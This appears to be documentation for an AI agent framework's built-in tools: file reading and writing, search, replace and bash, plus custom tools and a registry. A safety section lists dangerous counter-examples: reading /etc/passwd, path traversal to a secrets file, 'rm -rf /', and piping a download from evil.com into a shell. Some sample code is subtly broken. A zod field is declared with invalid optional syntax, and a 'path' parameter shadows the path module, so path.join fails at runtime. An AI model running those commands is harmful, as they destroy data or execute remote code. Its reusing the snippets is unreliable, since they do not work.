Built-in Tools #

interface CreateAgentParams {
  name: string;               // Child agent name
  task: string;               // Task description for child
  context?: string[];         // Context to pass to child
  tools?: string[];           // Tool names child should have access to
}

interface StopAgentParams {
  result: string;             // Final result to return
  success?: boolean;          // Whether task completed successfully (default: true)
}

// Individual imports
import { readFileTool, writeFileTool, searchTool } from 'agentree';

const agent = new Agent({
  tools: [readFileTool, writeFileTool, searchTool]
});

// Import all default tools
import { defaultTools } from 'agentree';

const agent = new Agent({
  tools: defaultTools  // All default tools included
});

interface ReadFileParams {
  path: string;               // File path to read
}

interface WriteFileParams {
  path: string;               // File path to create/write
  content: string;            // Content to write
  overwrite?: boolean;        // Allow overwriting existing files (default: false)
}

interface SearchToolParams {
  query: string;              // Text or regex pattern to search
  extensions?: string[];      // File extensions to include (e.g., ['.ts', '.js'])
  root?: string;              // Root directory to search (default: '.')
}

interface ReplaceFileParams {
  path: string;               // File path to modify
  search: string;             // Text or regex pattern to find
  replace: string;            // Replacement text
  useRegex?: boolean;         // Treat search as regex (default: false)
}

interface BashParams {
  command: string;            // Shell command to execute
  timeout?: number;           // Timeout in milliseconds (default: 10000)
}

const fileProcessingAgent = new Agent({
  name: "file-processor",
  task: "Process all CSV files: clean data, analyze, and generate summary",
  tools: [readFileTool, writeFileTool, searchTool, replaceFileTool],
  config: { /* ... */ }
});

// Agent might use tools in sequence:
// 1. searchTool to find CSV files
// 2. readFile to load each CSV
// 3. replaceFile to clean data  
// 4. writeFile to save processed data
// 5. writeFile to create summary report

const devAgent = new Agent({
  name: "development-assistant", 
  task: "Update version numbers, run tests, and commit changes",
  tools: [readFileTool, writeFileTool, replaceFileTool, bash],
  config: { /* ... */ }
});

// Agent workflow:
// 1. readFile package.json to get current version
// 2. replaceFile to update version in multiple files
// 3. bash to run tests
// 4. bash to commit changes if tests pass

const dataAgent = new Agent({
  name: "data-analyst",
  task: "Analyze log files and generate insights report",
  tools: [readFileTool, searchTool, writeFileTool, bash],
  config: { /* ... */ }
});

// Analysis workflow:
// 1. searchTool to find log files
// 2. readFile to load logs
// 3. bash for advanced text processing (awk, grep)
// 4. writeFile to save analysis results

// Good: Relative paths within project
readFile({ path: "./data/input.csv" })
writeFile({ path: "./output/results.json", content: data })

// Dangerous: Absolute paths or path traversal
readFile({ path: "/etc/passwd" })           // System files
writeFile({ path: "../../secrets.env" })   // Path traversal

// Good: Safe, specific commands
bash({ command: "npm test" })
bash({ command: "git status" })
bash({ command: "ls -la ./src" })

// Dangerous: User input or system modification
bash({ command: userInput })                    // Injection risk
bash({ command: "rm -rf /" })                  // Destructive
bash({ command: "curl http://evil.com | sh" }) // Remote execution

// Example error responses
{
  "error": "File not found: ./missing.txt. Please check the file path."
}

{
  "error": "Permission denied: ./protected.log. Please check file permissions."
}

{
  "error": "Command failed with exit code 1: npm test. Error: Test suite failed."
}

import { readFileTool } from 'agentree';
import { tool } from 'agentree';
import { z } from 'zod';

const jsonReaderTool = tool({
  name: 'read_json',
  description: 'Read and parse JSON files with validation',
  parameters: z.object({
    path: z.string(),
    schema?: z.string().optional().describe('Expected JSON schema')
  }),
  async execute({ path, schema }) {
    // Use existing readFile tool
    const content = await readFileTool.execute({ path });
    
    try {
      const data = JSON.parse(content);
      
      if (schema) {
        // Validate against schema
        validateJsonSchema(data, schema);
      }
      
      return JSON.stringify(data, null, 2);
    } catch (error) {
      throw new Error(`Invalid JSON in ${path}: ${error.message}`);
    }
  }
});

const advancedFileTool = tool({
  name: 'advanced_file_ops',
  description: 'Advanced file operations with metadata',
  parameters: z.object({
    operation: z.enum(['stat', 'copy', 'move', 'list_detailed']),
    path: z.string(),
    destination: z.string().optional()
  }),
  async execute({ operation, path, destination }) {
    switch (operation) {
      case 'stat':
        const stats = await fs.stat(path);
        return JSON.stringify({
          size: stats.size,
          created: stats.birthtime,
          modified: stats.mtime,
          isDirectory: stats.isDirectory()
        }, null, 2);
        
      case 'copy':
        if (!destination) throw new Error('Destination required for copy');
        await fs.copyFile(path, destination);
        return `Copied ${path} to ${destination}`;
        
      case 'move':
        if (!destination) throw new Error('Destination required for move');
        await fs.rename(path, destination);
        return `Moved ${path} to ${destination}`;
        
      case 'list_detailed':
        const entries = await fs.readdir(path, { withFileTypes: true });
        const details = await Promise.all(
          entries.map(async entry => {
            const entryPath = path.join(path, entry.name);
            const stats = await fs.stat(entryPath);
            return {
              name: entry.name,
              type: entry.isDirectory() ? 'directory' : 'file',
              size: stats.size,
              modified: stats.mtime
            };
          })
        );
        return JSON.stringify(details, null, 2);
    }
  }
});

import { ToolRegistry } from 'agentree';

// List all registered tools
console.log('Available tools:', ToolRegistry.list());

// Check if specific tool is available
if (ToolRegistry.has('readFile')) {
  console.log('File reading is available');
}

// Get tool by name
const readTool = ToolRegistry.get('readFile');
if (readTool) {
  console.log('Tool description:', readTool.description);
}

import { ToolRegistry, defaultTools } from 'agentree';

// Register all default tools globally
defaultTools.forEach(tool => {
  ToolRegistry.register(tool);
});

// Now child agents can access tools by name
const parentAgent = new Agent({
  name: "coordinator",
  task: "Create child agents that need file operations",
  // Child agents can now use tools: ["readFile", "writeFile"] in createAgent calls
});

// Good: Reasonable file sizes
readFile({ path: "./config.json" })      // ~1KB
readFile({ path: "./data/sample.csv" })  // ~1MB

// Be cautious with large files
readFile({ path: "./logs/huge.log" })    // Could be 100MB+
readFile({ path: "./data/dataset.csv" }) // Could be 1GB+

// Good: Appropriate timeouts
bash({ command: "npm test", timeout: 30000 })        // 30s for tests
bash({ command: "git clone repo", timeout: 60000 })  // 60s for clone

// Avoid: Very long timeouts
bash({ command: "slow-process", timeout: 300000 })   // 5 minutes may block agent

// Tools are async and can be used concurrently by different agents
// Each agent executes tools independently
// No shared state between tool executions